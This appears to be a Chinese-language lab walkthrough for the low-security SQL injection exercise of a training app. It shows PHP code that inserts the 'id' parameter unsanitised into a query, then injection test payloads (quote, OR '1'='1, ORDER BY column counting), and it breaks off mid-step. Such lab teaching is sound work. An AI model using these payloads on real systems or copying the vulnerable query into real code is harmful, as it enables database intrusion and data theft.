1.low
PHP源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
$html .= "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
从源码看出 , 服务器端直接接收参数$_GET[ ‘id’ ]没做任何处理
1.测试注入点,若存在,判断注入类型
输入
- 1
- 1’
说明可能存在注入,并且知道了使用的是mysql数据库。然后判断注入类型
输入 | 结果 |
---|---|
1’ and ‘1’='2 | 查询结果为空 |
1’ or ‘1’='1 | ![]() |
说明是字符型注入
2.判断查询字段的个数
输入 | 结果 |
---|---|
1’ order by 2 # | 查询成功 |
1’ order by 3 # |